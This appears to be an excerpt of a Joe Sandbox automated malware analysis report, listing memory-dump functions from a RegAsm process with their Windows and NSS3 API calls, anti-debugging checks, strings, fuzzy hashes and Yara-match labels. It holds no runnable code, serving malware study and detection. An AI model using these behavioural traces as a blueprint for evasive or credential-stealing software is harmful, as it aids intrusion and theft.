Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: memset
String ID: @$authorizer malfunction$not authorized$rows deleted
API String ID: 2221118986-4041583037
Opcode ID: dbe56c05853be1f8d73768003fe94ff13cd9ef5c901ae2009971255f6341785e
Instruction ID: 5333bd1f82d42ce0a29b0d38cca4cef2ed96151f3f337ea70c3ecb00d0b76f84
Opcode Fuzzy Hash: dbe56c05853be1f8d73768003fe94ff13cd9ef5c901ae2009971255f6341785e
Instruction Fuzzy Hash: 70D2BB70E04249CFDB14CFA9C480B9DBBF6BF49308F258269D419ABB51D735E996CB80

Function 0042B09C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,0042B705,?,004284B6,?,000000BC,?), ref: 0042B0DB
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,0042B705,?,004284B6,?,000000BC,?), ref: 0042B104
GetACP.KERNEL32(?,?,0042B705,?,004284B6,?,000000BC,?), ref: 0042B118

Strings

OCP, xrefs: 0042B0BC
ACP, xrefs: 0042B0AB

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 852fe2871502b5f11a7c159b1ff6d73bb5b6e90034cf0c4652042c6afb60c0e4
Instruction ID: 17b9699468f51d646e750113cf50c96e99997eab5389d59ce85d1515b93fe112
Opcode Fuzzy Hash: 852fe2871502b5f11a7c159b1ff6d73bb5b6e90034cf0c4652042c6afb60c0e4
Instruction Fuzzy Hash: DC01D431701626BBEB329B62BC56F9B33A8DB04358F60441AF511E11C1EFA8CA81D69C

Function 00411E5D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?,00000000,0065E908,?,?,?,0041286A,?,?,00000000), ref: 00411E7D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,0041286A,?,?,00000000), ref: 00411E8A
HeapAlloc.KERNEL32(00000000,?,?,?,0041286A,?,?,00000000), ref: 00411E91

Strings

j(A, xrefs: 00411EAF

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocBinaryCryptProcessString
String ID: j(A
API String ID: 1871034439-3867625544
Opcode ID: 7facb7d2e02b845f17d999935560398eb304add6040a2be0650dedebad670ad1
Instruction ID: cc1f0cdc7ec9addca40c1236ae1a006933468a7893b1c2cc3d15f31d1535d567
Opcode Fuzzy Hash: 7facb7d2e02b845f17d999935560398eb304add6040a2be0650dedebad670ad1
Instruction Fuzzy Hash: 3F010C70500309BFDF158FA1DC849AB7BBAFF493A5B248459F90593220E7369E91EA24

Function 00408048 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32($g@,00000000,00000001,00000000,?,00000000,00000000), ref: 00408060
LocalAlloc.KERNEL32(00000040,?,?,?,00406724,?), ref: 0040806E
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00408084
LocalFree.KERNEL32(?,?,?,00406724,?), ref: 00408093

Strings

$g@, xrefs: 00408056

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: $g@
API String ID: 4291131564-2623900638
Opcode ID: f5a436fcc5773d8d5ed11b28535eb6837d4cdf9298db33a455cb593baf526e2b
Instruction ID: e9494377cad346e2cb6e0c3413faafdb083af89deffb74abb579b147fff80950
Opcode Fuzzy Hash: f5a436fcc5773d8d5ed11b28535eb6837d4cdf9298db33a455cb593baf526e2b
Instruction Fuzzy Hash: 7EF03C70101334BBDF315F26DC4CE8B7FA9EF06BA1F100456F949E6250E7724A40DAA1

Function 0041CFE0 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041D418
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041D42D
UnhandledExceptionFilter.KERNEL32(0043332C), ref: 0041D438
GetCurrentProcess.KERNEL32(C0000409), ref: 0041D454
TerminateProcess.KERNEL32(00000000), ref: 0041D45B

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 55db721a2f023524a9032981c1f56e9b99f3b02c219f8da3c75415065c8ed274
Instruction ID: dad7c004e912b8e68b798e0c0d0eaafc44eecc088f24250126c7cc8929bf560a
Opcode Fuzzy Hash: 55db721a2f023524a9032981c1f56e9b99f3b02c219f8da3c75415065c8ed274
Instruction Fuzzy Hash: 0A21CBB4C00705DFD764DFA8F988A443BB0BF08316F10916AE41887262EBB4D9828F5E

Function 6C2CCDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C2CD086
PR_Malloc.NSS3(00000001), ref: 6C2CD0B9
PR_Free.NSS3(?), ref: 6C2CD138

Strings

>, xrefs: 6C2CCF5B

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 82814376ff8d378acff5324fd8d55af80424db62ace3e1ed897dc1962fab646b
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 61D15966B9164F0BEB94587C8CA13EA77938783374F580329ED219BBE5E659C8438343

Function 6C14AC60 Relevance: 6.4, Strings: 5, Instructions: 181COMMON

Download Yara Rule

Strings

0,l, xrefs: 6C14ACC0, 6C14AD22, 6C14AD5E, 6C14AE45
P,l, xrefs: 6C14ADDB, 6C14ADF5, 6C14AE6A
p,l, xrefs: 6C14ADA7
winUnlock, xrefs: 6C14AE18
winUnlockReadLock, xrefs: 6C14AE9F

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID:
String ID: 0,l$P,l$p,l$winUnlock$winUnlockReadLock
API String ID: 0-2885090843
Opcode ID: 7343cfad31a36a7d3ebef29a7e257e4899ff8bde3a134a7d83847dc0bd9c2912
Instruction ID: 3086a9f45cb24b47504404a83cdce188d70b3112ee5669410a111dc7719bf0b0
Opcode Fuzzy Hash: 7343cfad31a36a7d3ebef29a7e257e4899ff8bde3a134a7d83847dc0bd9c2912
Instruction Fuzzy Hash: 847189717083049FDB04CF28D890AAABBF9FF89314F15CA2DE99997241D730A9858B91

Function 6C26AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a32eb0cee0860f270c348c8a63eacd4952e659addd79a2e75d48b21352d2cba
Instruction ID: 96e98d6d1008533ab51a11f4c755d5d81ea8c832691cea219e0295cb85245fe3
Opcode Fuzzy Hash: 2a32eb0cee0860f270c348c8a63eacd4952e659addd79a2e75d48b21352d2cba
Instruction Fuzzy Hash: 65F1C0B2F0122A8FDB14CF2AC8417E977B8AB4A309F15422EE945D7F40E7709985CBD0

Function 6C220E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C221052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C221086

Strings

h("l, xrefs: 6C221062, 6C22105D, 6C220F37, 6C221081, 6C221082
h("l, xrefs: 6C220E55, 6C220EC4, 6C220F3A, 6C220FA7

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: memcpymemset
String ID: h("l$h("l
API String ID: 1297977491-319718214
Opcode ID: 50e450fd473cd9a416c3e540085abe8c5d4bd7ef8c6f317432a428715b1b27d8
Instruction ID: 8234fff27d3350dce5fe33950ddb26366bcedc95f79395af5cbef4c4478f57a0
Opcode Fuzzy Hash: 50e450fd473cd9a416c3e540085abe8c5d4bd7ef8c6f317432a428715b1b27d8
Instruction Fuzzy Hash: 8CA11C71B0125E9FDB08CF99C890AEEB7B6BF48314B148129ED15A7700DB39ED55CBA0

Function 6C144DB0 Relevance: 5.3, Strings: 4, Instructions: 318COMMON

Download Yara Rule

Strings

0,l, xrefs: 6C144EDE, 6C144F82
P,l, xrefs: 6C145019, 6C1450FA, 6C145157, 6C1451DE, 6C1451F2, 6C14520D, 6C145220, 6C1452A2, 6C1452B5
p,l, xrefs: 6C144E1C, 6C144E81, 6C144FDE, 6C145047, 6C1450BB, 6C1451A3, 6C14526C
winUnlockReadLock, xrefs: 6C145125

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID:
String ID: 0,l$P,l$p,l$winUnlockReadLock
API String ID: 0-168974158
Opcode ID: b0e01fe825fe9c7acfd4dfde2e95dace3fee73e46a5e2f8f7115c1bcf1991831
Instruction ID: d15a508ce7839d0dd8a0f5a9269000cbda970449ef92523e6b1e1c18a25b060d
Opcode Fuzzy Hash: b0e01fe825fe9c7acfd4dfde2e95dace3fee73e46a5e2f8f7115c1bcf1991831
Instruction Fuzzy Hash: D5E13BB1A09340CFDB04DF29D58565ABBF4FF8A308F518A1EE89997351E730D985CB82

Function 6C146F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

sz=[0-9]*, xrefs: 6C147049
noskipscan*, xrefs: 6C147067
unordered*, xrefs: 6C14702B
*?[, xrefs: 6C147034, 6C147052, 6C147070

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: 0f2180d865f282f6efb60309a962e907b48e1dcca05a3584c4eddbd81721a075
Instruction ID: b19b797fcc2090a7513cbab8823defab01217b260ba7a301d72415ff6aeb6c80
Opcode Fuzzy Hash: 0f2180d865f282f6efb60309a962e907b48e1dcca05a3584c4eddbd81721a075
Instruction Fuzzy Hash: 5D71BE72F002154BEB108E2CC89039EB3A29F86328F25C27ACD65ABFC1D6758C46C7C1

Function 6C1DEE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C1DF019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6C1DF0F9

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: b732857b41fdcdd85721f9ad34499d15dce76af13dedac6c84d39eb51b000014
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: F491A175A0021A8BCB14CF68C8916AEB7F2FF95324F16472DD972A7BC0D734AA05CB51

Function 6C202F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6C227929), ref: 6C202FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6C227929), ref: 6C202FE0

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: 1253c5efd49033303b82d15a9b1d19cb57c2abdcf1247dcb0c1bf613e114d2d7
Instruction ID: a9a877beae179c81f38362c8ebb9c6fdc233924d5720e8a037bc695b35103581
Opcode Fuzzy Hash: 1253c5efd49033303b82d15a9b1d19cb57c2abdcf1247dcb0c1bf613e114d2d7
Instruction Fuzzy Hash: 2D5104B1B1691A8FD700CE59C880F6A73B6FF45319F25412BED099BB02DB71E946CB81

Function 0041C0B3 Relevance: 3.1, APIs: 2, Instructions: 63timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,759183C0,00000000,?,?,?,?,?,?,?,?,0041C56E,?), ref: 0041C108
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,0041C56E,?), ref: 0041C116

Part of subcall function 0041B8F4: FileTimeToSystemTime.KERNEL32(?,?,?,?,0041C1DB,?,?,?,?,?,?,?,?,?,?,0041C57E), ref: 0041B90C

Part of subcall function 0041B8D0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0041B8ED

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Time$FileSystem$LocalUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 568878067-0
Opcode ID: 8e96eda33c1505b5cb7bc4e21005d4a77a0bbf5f93ae5266ba477922d85a3d56
Instruction ID: 5648f3338fcf0c611255aa2009218cd94514fe9b030d41c15c9d38c7c57d1798
Opcode Fuzzy Hash: 8e96eda33c1505b5cb7bc4e21005d4a77a0bbf5f93ae5266ba477922d85a3d56
Instruction Fuzzy Hash: 0921E6B19002199FCF44DF6998806EE7BF4FF08700F1440BAE848EA216E7758945DFA4

Function 0040145B Relevance: 3.0, APIs: 2, Instructions: 22nativeCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000007,00000000,00000004,00000000), ref: 0040146D
NtQueryInformationProcess.NTDLL(00000000), ref: 00401474

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process$CurrentInformationQuery
String ID:
API String ID: 3953534283-0
Opcode ID: 4ad97b2d1b6fe464e896af9ca2ec5f1d337a2bfbe60684343260282f6ee0994e
Instruction ID: b0d32a7bd978dbc9842abeebd7712166406d741a383243a14520f93e3bb00ea5
Opcode Fuzzy Hash: 4ad97b2d1b6fe464e896af9ca2ec5f1d337a2bfbe60684343260282f6ee0994e
Instruction Fuzzy Hash: 23E01271640304F7EF109BA0DD0AF5F72AC9700749F201175A606E60E0D6B8DA009A69

Function 6C20ED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6C20EE3D

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: b77e0114464a6bf431e06f0e8e261b6491edcef80650b53d85d1f486a1dd47f9
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: CE71E472F017098FD718CF19C88466AB7F2AF88314F14462EEC9A97B91D730E980CB91

Function 0042B526 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

